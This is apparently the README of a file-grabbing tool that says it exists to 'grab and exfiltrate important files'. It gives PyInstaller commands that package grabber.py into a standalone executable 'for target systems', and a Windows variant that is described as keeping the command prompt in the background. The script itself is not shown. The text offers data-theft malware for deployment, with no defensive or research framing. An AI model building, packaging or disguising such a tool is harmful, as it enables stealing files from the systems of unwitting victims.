Grab and exfiltrate "important" files.
Use PyInstaller to build executables for target systems. Install with:
python3 -m pip install pyinstaller
With src directory as the root folder, build the executable (on linux-based or windows hosts) with:
pyinstaller --onefile grabber.py
or with:
python3 -m PyInstaller --onefile ./grabber.py
Specifically on windows hosts you can force the command prompt to stay in the background with:
python -m PyInstaller --onefile .\grabber.py